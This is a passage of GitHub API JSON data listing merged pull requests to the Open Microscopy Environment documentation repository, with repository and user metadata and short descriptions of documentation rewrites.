","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/manics/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/manics/ome-documentation/issues/events{/number}","private":false,"id":6123523,"default_branch":"develop","pushed_at":"2013-01-16T13:46:34Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/manics/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/manics/ome-documentation/forks"},"sha":"c7a42401100f79798ba70181cb7a58ab25f3b165","ref":"rebased/develop/tables_arraycolumns_9957"},"assignee":null,"updated_at":"2013-01-17T10:39:59Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/213/commits","closed_at":"2013-01-17T10:39:59Z","user":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/213","merged_at":"2013-01-17T10:39:59Z","merge_commit_sha":"4e59b65363b053670f3c6a010216821b1933c9bc","created_at":"2013-01-16T13:46:36Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/213/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/213.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/213","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-193 but rebased onto develop.\n\n----\n\nThis was origingally a partial rewrite of the tables documentation including the new array columns from PR openmicroscopy/openmicroscopy#538. Since it may be held back from the next release I'll split the docs PR into two, this one covers doc changes relating to the existing tables functionality:\r\n* Moved the tables docs out of analysis and into a new page\r\n* Added more API detail, especially parameter types\r\n* This currently appears under `Analysis` in the TOC.\r\n\r\nIf I don't open this now I'll probably forget after Christmas.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/213.diff","id":3700514,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/212"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212/comments"}},"title":"Fixing ticket 10174","state":"closed","number":212,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:10174-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"8679358f62eda2f5c229ba48dad5597bdc427fb5","ref":"10174-fix"},"assignee":null,"updated_at":"2013-01-22T10:10:11Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/212/commits","closed_at":"2013-01-21T22:24:04Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/212","merged_at":"2013-01-21T22:24:04Z","merge_commit_sha":"8f6c86a6d8b6ef135e03584c4803abe60f34ed6c","created_at":"2013-01-16T11:12:48Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/212/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/212.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/212","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/212.diff","id":3698481,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"ad0052677c2aee2ffe76de527ea6fb744acdfa55","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/211"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211/comments"}},"title":"Sysadmin docs tidy (rebased onto develop)","state":"closed","number":211,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/develop/sysadmin-docs-tidy","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"1acd446490dbfc637a5c9823ec5d0d04edf5ea8b","ref":"rebased/develop/sysadmin-docs-tidy"},"assignee":null,"updated_at":"2013-01-17T14:18:22Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/211/commits","closed_at":"2013-01-17T14:18:22Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/211","merged_at":"2013-01-17T14:18:22Z","merge_commit_sha":"fd1ded7a5bb6f9abce17656f957e64547dbe5e0e","created_at":"2013-01-16T10:41:29Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/211/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/211.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/211","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-209 but rebased onto develop.\n\n----\n\nFixing an issue spotted by Kenny and then tidying sysadmin docs re: formatting and style rules.\r\nAlso see ticket 10114\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/211.diff","id":3698059,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"